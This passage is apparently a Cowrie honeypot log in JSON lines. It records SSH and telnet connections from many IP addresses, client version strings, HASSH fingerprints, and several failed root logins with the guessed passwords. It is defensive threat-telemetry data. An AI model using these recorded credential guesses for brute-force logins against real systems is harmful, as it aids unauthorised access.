{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6fee326226","protocol":"telnet","message":"New connection: 152.42.224.71:33824 (10.17.0.5:23) [session: 8b6fee326226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:02.398515Z"}
{"eventid":"cowrie.session.closed","duration":53.7987744808197,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:03.646090Z","src_ip":"152.42.224.71","session":"e8ac275ffb48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":42108,"dst_ip":"159.203.135.109","dst_port":22,"session":"929873fd5ae0","protocol":"ssh","message":"New connection: 191.96.110.121:42108 (159.203.135.109:22) [session: 929873fd5ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:10.380757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:10.483818Z","src_ip":"191.96.110.121","session":"929873fd5ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":48814,"dst_ip":"10.17.0.5","dst_port":22,"session":"5319638702d6","protocol":"ssh","message":"New connection: 103.173.227.57:48814 (10.17.0.5:22) [session: 5319638702d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:10.512988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:10.518305Z","src_ip":"103.173.227.57","session":"5319638702d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:10.759405Z","src_ip":"103.173.227.57","session":"5319638702d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:11.080535Z","src_ip":"191.96.110.121","session":"929873fd5ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"element","message":"login attempt [root/element] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:11.483264Z","src_ip":"103.173.227.57","session":"5319638702d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":32978,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57a197787aa","protocol":"ssh","message":"New connection: 43.133.34.13:32978 (159.203.135.109:22) [session: a57a197787aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:12.085712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:12.090196Z","src_ip":"43.133.34.13","session":"a57a197787aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:12.328426Z","src_ip":"43.133.34.13","session":"a57a197787aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:12.727154Z","src_ip":"103.173.227.57","session":"5319638702d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36626,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ffc8ce3ce1","protocol":"telnet","message":"New connection: 152.42.224.71:36626 (10.17.0.5:23) [session: 06ffc8ce3ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:13.199112Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy!@","message":"login attempt [root/deploy!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:13.310676Z","src_ip":"43.133.34.13","session":"a57a197787aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:13.585997Z","src_ip":"191.96.110.121","session":"929873fd5ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:14.551435Z","src_ip":"43.133.34.13","session":"a57a197787aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:15.287234Z","src_ip":"191.96.110.121","session":"929873fd5ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":44810,"dst_ip":"10.17.0.5","dst_port":22,"session":"2817a108924b","protocol":"ssh","message":"New connection: 45.78.230.231:44810 (10.17.0.5:22) [session: 2817a108924b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:15.357828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:15.361429Z","src_ip":"45.78.230.231","session":"2817a108924b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33374,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ed6f2b9f9f","protocol":"telnet","message":"New connection: 152.42.224.71:33374 (10.17.0.5:23) [session: c5ed6f2b9f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:16.014321Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:16.313577Z","src_ip":"45.78.230.231","session":"2817a108924b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":55314,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb218121661","protocol":"ssh","message":"New connection: 43.130.35.229:55314 (159.203.135.109:22) [session: bbb218121661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:16.338461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:16.343436Z","src_ip":"43.130.35.229","session":"bbb218121661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:16.412805Z","src_ip":"43.130.35.229","session":"bbb218121661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:16.722905Z","src_ip":"43.130.35.229","session":"bbb218121661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:17.794859Z","src_ip":"43.130.35.229","session":"bbb218121661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":38290,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8c7446c5e91","protocol":"ssh","message":"New connection: 68.183.236.1:38290 (159.203.135.109:22) [session: a8c7446c5e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:19.584675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:19.589306Z","src_ip":"68.183.236.1","session":"a8c7446c5e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:19.842457Z","src_ip":"68.183.236.1","session":"a8c7446c5e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:20.853049Z","src_ip":"68.183.236.1","session":"a8c7446c5e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:21.854604Z","src_ip":"45.78.230.231","session":"2817a108924b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:22.112011Z","src_ip":"68.183.236.1","session":"a8c7446c5e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:23.300271Z","src_ip":"45.78.230.231","session":"2817a108924b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56170,"dst_ip":"10.17.0.5","dst_port":22,"session":"176527fb8cd4","protocol":"ssh","message":"New connection: 109.237.96.109:56170 (10.17.0.5:22) [session: 176527fb8cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:23.587867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:23.592002Z","src_ip":"109.237.96.109","session":"176527fb8cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:23.680880Z","src_ip":"109.237.96.109","session":"176527fb8cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:23.962320Z","src_ip":"109.237.96.109","session":"176527fb8cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:25.058654Z","src_ip":"109.237.96.109","session":"176527fb8cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.362806797027588,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:26.761209Z","src_ip":"152.42.224.71","session":"8b6fee326226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39656,"dst_ip":"10.17.0.5","dst_port":23,"session":"49abb35c77da","protocol":"telnet","message":"New connection: 152.42.224.71:39656 (10.17.0.5:23) [session: 49abb35c77da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:28.552736Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":39706,"dst_ip":"159.203.135.109","dst_port":22,"session":"e02f19fc596a","protocol":"ssh","message":"New connection: 37.143.61.241:39706 (159.203.135.109:22) [session: e02f19fc596a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:29.760334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:29.768388Z","src_ip":"37.143.61.241","session":"e02f19fc596a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:29.854484Z","src_ip":"37.143.61.241","session":"e02f19fc596a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:37:30.229031Z","src_ip":"37.143.61.241","session":"e02f19fc596a","protocol":"ssh"}
